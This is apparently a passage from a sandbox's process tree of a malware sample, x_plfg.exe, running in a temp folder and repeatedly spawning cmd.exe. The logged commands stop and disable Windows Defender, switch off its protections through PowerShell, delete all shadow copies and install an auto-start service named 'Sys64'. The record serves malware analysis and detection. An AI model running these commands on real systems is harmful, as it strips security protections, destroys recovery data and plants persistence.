        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:27612
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        10⤵
        
        PID:42748
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        8⤵
        
        PID:23288
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:27804
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        8⤵
        
        PID:42492
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:11252
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:11472
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:11868
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:12184
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:12636
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:13604
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:14360
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:16284
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:17744
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:21076
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:30776
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:33380
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:38744
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:42064
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:29656
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:32288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:24076
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:28484
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        10⤵
        
        PID:42016
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:23572
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:29584
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        8⤵
        
        PID:42728
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        6⤵
        
        PID:23748
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:27736
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        6⤵
        
        PID:40216
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:10660
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:11360
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        
        PID:11636
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:11900
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:12300
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:12836
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:13516
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:14720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:15608
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:17720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:19900
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:23048
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:38416
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:42040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:39632
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:43564
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:31808
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:32700
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:26244
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:30016
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:24772
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:28460
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:2880
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:27040
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        6⤵
        
        PID:42604
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
      4⤵
      PID:23424
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:24216
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
      4⤵
      PID:39992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc create "Sys64" binPath= "\"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe\"" start= auto type= own DisplayName= "Sys64" 2>nul
  2⤵
  PID:8156
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:7584
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
      4⤵
      PID:8252
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:8352
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        
        PID:8492
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:8616
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:8756
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:8884
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:9000
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:9112
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:8396
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:9260
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:9424
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:9548
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:9684
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:9792
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:9956
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:10064
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:10196
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:9832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:10328
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:10440
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:10572
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:10732
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:10868
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:11008
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:11144
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:10396
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:11380
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:11672
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:12084
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:12684
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        34⤵
        
        PID:12728
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:14692
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:15576
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:17728
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        38⤵
        
        PID:19716
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:23236
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        40⤵
        
        PID:39120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:38824
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:40428
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:31664
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:34560
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:26252
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:30128
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:24064
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:27692
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        32⤵
        
        PID:40208
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:42840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:21008
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:27424
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        30⤵
        
        PID:40048
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:22912
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:26544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:22096
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:27880
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:21328
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:25128
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:20716
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:24056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:42032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:20460
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:23888
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:40232
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:20260
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:23448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:39100
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:41296
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:20052
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:23456
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:43516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:19512
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:25280
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        14⤵
        
        PID:38792
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:42048
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:19152
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:22632
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:324
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        12⤵
        
        PID:38760
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:41288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:18840
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:21912
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:33776
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:35560
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        10⤵
        
        PID:38832
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:42072
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:18492
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:22140
        
        C:\Windows\System32\cmd.exe
